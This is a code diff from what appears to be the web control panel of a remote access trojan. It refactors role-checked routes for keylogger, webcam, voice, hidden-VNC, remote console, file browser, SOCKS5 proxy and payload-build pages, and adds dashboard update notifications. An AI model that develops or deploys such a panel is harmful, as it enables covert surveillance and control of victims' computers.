const server = Bun.serve<SocketData>({
|
const server = Bun.serve<SocketData>({
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ import {
|
|||||||
getUserClientAccessScope,
|
getUserClientAccessScope,
|
||||||
listUserClientRuleIdsByAccess,
|
listUserClientRuleIdsByAccess,
|
||||||
} from "../../users";
|
} from "../../users";
|
||||||
|
import { notifyDashboardViewers } from "../../sessions/sessionManager";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -275,6 +276,7 @@ export async function handleClientRoutes(
|
|||||||
}
|
}
|
||||||
|
|
||||||
deleteClientRow(targetId);
|
deleteClientRow(targetId);
|
||||||
|
notifyDashboardViewers();
|
||||||
|
|
||||||
const ip = server.requestIP(req)?.address || "unknown";
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
logAudit({
|
logAudit({
|
||||||
@@ -331,6 +333,7 @@ export async function handleClientRoutes(
|
|||||||
if (!updated) {
|
if (!updated) {
|
||||||
return Response.json({ error: "Client not found" }, { status: 404 });
|
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||||
}
|
}
|
||||||
|
notifyDashboardViewers();
|
||||||
|
|
||||||
const ip = server.requestIP(req)?.address || "unknown";
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
logAudit({
|
logAudit({
|
||||||
@@ -389,6 +392,7 @@ export async function handleClientRoutes(
|
|||||||
if (!updated) {
|
if (!updated) {
|
||||||
return Response.json({ error: "Client not found" }, { status: 404 });
|
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||||
}
|
}
|
||||||
|
notifyDashboardViewers();
|
||||||
|
|
||||||
const ip = server.requestIP(req)?.address || "unknown";
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
logAudit({
|
logAudit({
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { authenticateRequest } from "../../auth";
|
import { authenticateRequest } from "../../auth";
|
||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission, type Permission } from "../../rbac";
|
||||||
import { canUserAccessClient, getUserById, type UserRole } from "../../users";
|
import { canUserAccessClient, getUserById, type UserRole } from "../../users";
|
||||||
|
|
||||||
type PageRouteDeps = {
|
type PageRouteDeps = {
|
||||||
@@ -32,24 +32,108 @@ async function serveChangePasswordIfRequired(
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function serveFile(deps: PageRouteDeps, htmlFile: string): Promise<Response | null> {
|
||||||
|
const file = Bun.file(`${deps.PUBLIC_ROOT}/${htmlFile}`);
|
||||||
|
if (await file.exists()) {
|
||||||
|
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(htmlFile)) });
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Page definitions ----
|
||||||
|
|
||||||
|
type AccessLevel = "any" | "no-viewer" | "admin" | "admin-or-operator";
|
||||||
|
type StaticPageDef = {
|
||||||
|
path: string;
|
||||||
|
file: string;
|
||||||
|
access: AccessLevel;
|
||||||
|
permission?: Permission;
|
||||||
|
checkPasswordChange?: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
type ClientPageDef = {
|
||||||
|
pattern: RegExp;
|
||||||
|
file: string;
|
||||||
|
clientIdGroup: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
type QueryClientPageDef = {
|
||||||
|
path: string;
|
||||||
|
file: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Static pages: each entry maps a URL path to its HTML file + access rules. */
|
||||||
|
const STATIC_PAGES: StaticPageDef[] = [
|
||||||
|
{ path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true },
|
||||||
|
{ path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true },
|
||||||
|
{ path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },
|
||||||
|
{ path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true },
|
||||||
|
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
|
||||||
|
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
|
||||||
|
{ path: "/build", file: "build.html", access: "admin-or-operator" },
|
||||||
|
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
|
||||||
|
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
|
||||||
|
{ path: "/deploy", file: "deploy.html", access: "admin" },
|
||||||
|
{ path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true },
|
||||||
|
];
|
||||||
|
|
||||||
|
/** Client-scoped pages accessed via query param ?clientId=... */
|
||||||
|
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
||||||
|
{ path: "/remotedesktop", file: "remotedesktop.html" },
|
||||||
|
{ path: "/webcam", file: "webcam.html" },
|
||||||
|
{ path: "/hvnc", file: "hvnc.html" },
|
||||||
|
{ path: "/voice", file: "voice.html" },
|
||||||
|
];
|
||||||
|
|
||||||
|
/** Client-scoped pages accessed via path /:clientId/feature */
|
||||||
|
const PATH_CLIENT_PAGES: ClientPageDef[] = [
|
||||||
|
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 },
|
||||||
|
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 },
|
||||||
|
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 },
|
||||||
|
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 },
|
||||||
|
];
|
||||||
|
|
||||||
|
function checkAccess(role: UserRole, access: AccessLevel): Response | null {
|
||||||
|
switch (access) {
|
||||||
|
case "any":
|
||||||
|
return null;
|
||||||
|
case "no-viewer":
|
||||||
|
if (role === "viewer") {
|
||||||
|
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
case "admin":
|
||||||
|
if (role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
case "admin-or-operator":
|
||||||
|
if (role !== "admin" && role !== "operator") {
|
||||||
|
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export async function handlePageRoutes(
|
export async function handlePageRoutes(
|
||||||
req: Request,
|
req: Request,
|
||||||
url: URL,
|
url: URL,
|
||||||
deps: PageRouteDeps,
|
deps: PageRouteDeps,
|
||||||
): Promise<Response | null> {
|
): Promise<Response | null> {
|
||||||
|
if (req.method !== "GET") return null;
|
||||||
|
|
||||||
const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => {
|
const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => {
|
||||||
if (!clientId) return false;
|
if (!clientId) return false;
|
||||||
return canUserAccessClient(userId, role, clientId);
|
return canUserAccessClient(userId, role, clientId);
|
||||||
};
|
};
|
||||||
|
|
||||||
if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) {
|
// ---- Root / index ----
|
||||||
|
if (url.pathname === "/" || url.pathname === "/index.html") {
|
||||||
const authed = await authenticateRequest(req);
|
const authed = await authenticateRequest(req);
|
||||||
|
|
||||||
if (authed) {
|
if (authed) {
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
|
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
|
||||||
if (maybeChange) return maybeChange;
|
if (maybeChange) return maybeChange;
|
||||||
}
|
}
|
||||||
|
|
||||||
const filePath = authed ? "/index.html" : "/login.html";
|
const filePath = authed ? "/index.html" : "/login.html";
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
|
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
|
||||||
if (await file.exists()) {
|
if (await file.exists()) {
|
||||||
@@ -57,19 +141,45 @@ export async function handlePageRoutes(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/change-password.html") {
|
// ---- Change password (always accessible) ----
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
|
if (url.pathname === "/change-password.html") {
|
||||||
if (await file.exists()) {
|
return serveFile(deps, "change-password.html");
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/remotedesktop") {
|
// ---- Static pages (table-driven) ----
|
||||||
|
for (const page of STATIC_PAGES) {
|
||||||
|
if (url.pathname !== page.path) continue;
|
||||||
|
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
if (!user) {
|
if (!user) return serveLoginOrUnauthorized(deps);
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
|
if (page.checkPasswordChange) {
|
||||||
|
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||||
|
if (maybeChange) return maybeChange;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const accessDenied = checkAccess(user.role, page.access);
|
||||||
|
if (accessDenied) return accessDenied;
|
||||||
|
|
||||||
|
if (page.permission) {
|
||||||
|
try {
|
||||||
|
requirePermission(user, page.permission);
|
||||||
|
} catch (error) {
|
||||||
|
if (error instanceof Response) return error;
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return serveFile(deps, page.file);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Client pages via query param (?clientId=...) ----
|
||||||
|
for (const page of QUERY_CLIENT_PAGES) {
|
||||||
|
if (url.pathname !== page.path) continue;
|
||||||
|
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) return serveLoginOrUnauthorized(deps);
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||||
if (maybeChange) return maybeChange;
|
if (maybeChange) return maybeChange;
|
||||||
|
|
||||||
@@ -82,351 +192,27 @@ export async function handlePageRoutes(
|
|||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
|
return serveFile(deps, page.file);
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/webcam") {
|
// ---- Client pages via path (/:clientId/feature) ----
|
||||||
const user = await authenticateRequest(req);
|
for (const page of PATH_CLIENT_PAGES) {
|
||||||
if (!user) {
|
const match = url.pathname.match(page.pattern);
|
||||||
return serveLoginOrUnauthorized(deps);
|
if (!match) continue;
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
const user = await authenticateRequest(req);
|
||||||
if (maybeChange) return maybeChange;
|
if (!user) return serveLoginOrUnauthorized(deps);
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
if (user.role === "viewer") {
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
const clientId = match[page.clientIdGroup];
|
||||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
|
return serveFile(deps, page.file);
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/hvnc") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
|
||||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/voice") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
|
||||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/metrics") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/logs") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
try {
|
|
||||||
requirePermission(user, "audit:view");
|
|
||||||
} catch (error) {
|
|
||||||
if (error instanceof Response) return error;
|
|
||||||
return new Response("Forbidden", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/notifications") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role !== "admin" && user.role !== "operator") {
|
|
||||||
return new Response("Forbidden", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, {
|
|
||||||
headers: deps.secureHeaders(deps.mimeType("notifications.html")),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/users") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
if (user.role !== "admin") {
|
|
||||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/user-client-access") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
if (user.role !== "admin") {
|
|
||||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/user-client-access.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, {
|
|
||||||
headers: deps.secureHeaders(deps.mimeType("user-client-access.html")),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/settings") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/settings.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("settings.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/build") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role !== "admin" && user.role !== "operator") {
|
|
||||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/plugins") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role !== "admin" && user.role !== "operator") {
|
|
||||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
|
|
||||||
if (req.method === "GET" && consolePageMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
if (!canAccessClientPage(user.userId, user.role, consolePageMatch[1])) {
|
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/);
|
|
||||||
if (req.method === "GET" && filesPageMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
if (!canAccessClientPage(user.userId, user.role, filesPageMatch[1])) {
|
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/);
|
|
||||||
if (req.method === "GET" && processesPageMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
if (!canAccessClientPage(user.userId, user.role, processesPageMatch[1])) {
|
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
|
|
||||||
if (req.method === "GET" && keyloggerPageMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
if (!canAccessClientPage(user.userId, user.role, keyloggerPageMatch[1])) {
|
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/socks5-manager") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
|
||||||
if (maybeChange) return maybeChange;
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/scripts") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/deploy") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return serveLoginOrUnauthorized(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role !== "admin") {
|
|
||||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
|
|
||||||
if (await file.exists()) {
|
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ type WsLifecycleDeps = {
|
|||||||
hvncStreamingState: Map<string, unknown>;
|
hvncStreamingState: Map<string, unknown>;
|
||||||
webcamStreamingState: Map<string, unknown>;
|
webcamStreamingState: Map<string, unknown>;
|
||||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||||
|
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
@@ -81,12 +82,14 @@ type WsLifecycleDeps = {
|
|||||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||||
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
||||||
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
|
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
|
||||||
|
notifyDashboard: () => void;
|
||||||
};
|
};
|
||||||
|
|
||||||
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
||||||
const role = ws.data.role as string;
|
const role = ws.data.role as string;
|
||||||
const clientId = ws.data.clientId;
|
const clientId = ws.data.clientId;
|
||||||
const ip = ws.data.ip;
|
const ip = ws.data.ip;
|
||||||
|
if (role === "dashboard_viewer") return deps.handleDashboardViewerOpen(ws);
|
||||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||||
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
||||||
@@ -125,6 +128,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
|||||||
if (role === "client") {
|
if (role === "client") {
|
||||||
deps.notifyRemoteDesktopStatus(id, "online");
|
deps.notifyRemoteDesktopStatus(id, "online");
|
||||||
metrics.recordConnection();
|
metrics.recordConnection();
|
||||||
|
deps.notifyDashboard();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -154,6 +158,7 @@ export function handleWebSocketMessage(
|
|||||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||||
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
||||||
if (socketRole === "notifications_viewer") return;
|
if (socketRole === "notifications_viewer") return;
|
||||||
|
if (socketRole === "dashboard_viewer") return;
|
||||||
|
|
||||||
const { clientId, ip } = ws.data;
|
const { clientId, ip } = ws.data;
|
||||||
const info = clientManager.getClient(clientId);
|
const info = clientManager.getClient(clientId);
|
||||||
